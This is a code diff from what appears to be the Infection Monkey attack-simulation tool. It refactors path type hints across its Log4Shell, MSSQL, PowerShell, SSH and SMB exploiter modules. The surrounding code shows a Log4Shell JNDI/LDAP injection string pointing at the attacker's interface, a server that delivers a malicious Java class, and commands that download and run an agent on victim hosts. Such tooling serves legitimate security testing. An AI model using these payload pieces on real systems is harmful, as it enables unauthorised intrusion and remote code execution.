diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 90c95ce28..0a70d6e01 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,6 @@ import logging import time +from pathlib import PurePath from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils import ( @@ -10,6 +11,7 @@ from infection_monkey.exploit.log4shell_utils import ( build_exploit_bytecode, get_log4shell_service_exploiters, ) +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.i_puppet.i_puppet import ExploiterResultData @@ -60,13 +62,13 @@ class Log4ShellExploiter(WebRCE): self._agent_http_server_thread = None def _start_servers(self): - dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + target_path = get_agent_dest_path(self.host, self.options) # Start http server, to serve agent to victims - agent_http_path = self._start_agent_http_server(dropper_target_path) + agent_http_path = self._start_agent_http_server(target_path) # Build agent execution command - command = self._build_command(dropper_target_path, agent_http_path) + command = self._build_command(target_path, agent_http_path) # Start http server to serve malicious java class to victim self._start_class_http_server(command) @@ -111,7 +113,7 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - def _build_command(self, path, http_path) -> str: + def _build_command(self, path: PurePath, http_path) -> str: # Build command to execute monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) if "linux" in self.host.os["type"]: @@ -157,7 +159,6 @@ class Log4ShellExploiter(WebRCE): "port": port, } self.exploit_info["vulnerable_urls"].append(url) - self.exploit_result.propagation_success = True def _wait_for_victim(self) -> bool: victim_called_back = self._wait_for_victim_to_download_java_bytecode() @@ -186,6 +187,7 @@ class Log4ShellExploiter(WebRCE): while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: + self.exploit_result.propagation_success = True break # TODO: if the http server got an error we're waiting for nothing here diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index fb2b6f46e..b93b18649 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,6 @@ import logging import os -from pathlib import Path +from pathlib import PurePath from time import sleep import pymssql @@ -132,7 +132,7 @@ class MSSQLExploiter(HostExploiter): raise Exception("Couldn't execute MSSQL exploiter because payload was too long") self.run_mssql_commands(array_of_commands) - def run_monkey(self, monkey_path_on_victim: Path): + def run_monkey(self, monkey_path_on_victim: PurePath): monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) self.run_mssql_command(monkey_launch_command) self.run_payload_file() @@ -142,7 +142,7 @@ class MSSQLExploiter(HostExploiter): self.cursor.execute(cmd) sleep(MSSQLExploiter.QUERY_BUFFER) - def upload_monkey(self, monkey_path_on_victim: Path): + def upload_monkey(self, monkey_path_on_victim: PurePath): monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) @@ -158,7 +158,7 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self, monkey_path_on_victim: Path) -> LockedHTTPServer: + def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_repository ) @@ -169,12 +169,12 @@ class MSSQLExploiter(HostExploiter): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def write_download_command_to_payload(self, monkey_path_on_victim: Path): + def write_download_command_to_payload(self, monkey_path_on_victim: PurePath): monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) self.run_mssql_command(monkey_download_command) return monkey_download_command - def get_monkey_launch_command(self, monkey_path_on_victim: Path): + def get_monkey_launch_command(self, monkey_path_on_victim: PurePath): # Form monkey's launch command monkey_args = build_monkey_commandline( self.host, self.current_depth - 1, monkey_path_on_victim @@ -187,7 +187,7 @@ class MSSQLExploiter(HostExploiter): suffix=suffix, ) - def get_monkey_download_command(self, monkey_path_on_victim: Path): + def get_monkey_download_command(self, monkey_path_on_victim: PurePath): monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) ) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 457eccd11..f95b21df7 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,5 +1,5 @@ import logging -from pathlib import Path +from pathlib import Path, PurePath from typing import List, Optional from infection_monkey.exploit.HostExploiter import HostExploiter @@ -147,7 +147,7 @@ class PowerShellExploiter(HostExploiter): f"Failed to execute the agent binary on the victim: {ex}" ) - def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: Path): + def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: PurePath): temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 70e82bb66..df2cf65b1 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -1,6 +1,6 @@ import abc import logging -from pathlib import Path +from pathlib import Path, PurePath from typing import Optional import pypsrp @@ -64,7 +64,7 @@ class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): pass @abc.abstractmethod - def copy_file(self, src: Path, dest: Path) -> bool: + def copy_file(self, src: Path, dest: PurePath) -> bool: pass @abc.abstractmethod @@ -102,7 +102,7 @@ class PowerShellClient(IPowerShellClient): output, _, _ = self._client.execute_cmd(cmd) return output - def copy_file(self, src: Path, dest: Path): + def copy_file(self, src: Path, dest: PurePath): try: self._client.copy(str(src), str(dest)) logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 7d0955ffb..aa4ec8b54 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,6 +1,6 @@ import io import logging -from pathlib import Path +from pathlib import PurePath import paramiko @@ -265,7 +265,7 @@ class SSHExploiter(HostExploiter): return self.exploit_result def _set_executable_bit_on_agent_binary( - self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: Path + self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath ): ftp.chmod(str(monkey_path_on_victim), 0o700) self.telemetry_messenger.send_telemetry( diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 87f5636eb..595207f0c 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,7 +1,7 @@ import logging import random import string -from pathlib import Path +from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath from typing import Any, Mapping from infection_monkey.model import VictimHost @@ -18,18 +18,18 @@ def get_random_file_suffix() -> str: return random_string -def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path: +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath: if host.os["type"] == "windows": - path = Path(options["dropper_target_path_win_64"]) + path = PureWindowsPath(options["dropper_target_path_win_64"]) else: - path = Path(options["dropper_target_path_linux"]) + path = PurePosixPath(options["dropper_target_path_linux"]) return _add_random_suffix(path) # Turns C:\\monkey.exe into C:\\monkey-.exe # Useful to avoid duplicate file paths -def _add_random_suffix(path: Path) -> Path: +def _add_random_suffix(path: PurePath) -> PurePath: stem = path.name.split(".")[0] stem = f"{stem}-{get_random_file_suffix()}" rand_filename = "".join([stem, *path.suffixes]) diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 7b5c79931..8c353cf8c 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -2,7 +2,7 @@ import logging import ntpath import pprint from io import BytesIO -from pathlib import Path +from pathlib import PurePath from typing import Optional from impacket.dcerpc.v5 import srvs, transport @@ -22,7 +22,7 @@ class SmbTools(object): def copy_file( host, agent_file: BytesIO, - dst_path: Path, + dst_path: PurePath, username, password, lm_hash="", @@ -104,7 +104,7 @@ class SmbTools(object): if str(dst_path).lower().startswith(share_path.lower()): high_priority_shares += ( - (ntpath.sep + str(dst_path)[len(share_path):], share_info), + (ntpath.sep + str(dst_path)[len(share_path) :], share_info), ) low_priority_shares += ((ntpath.sep + file_name, share_info),)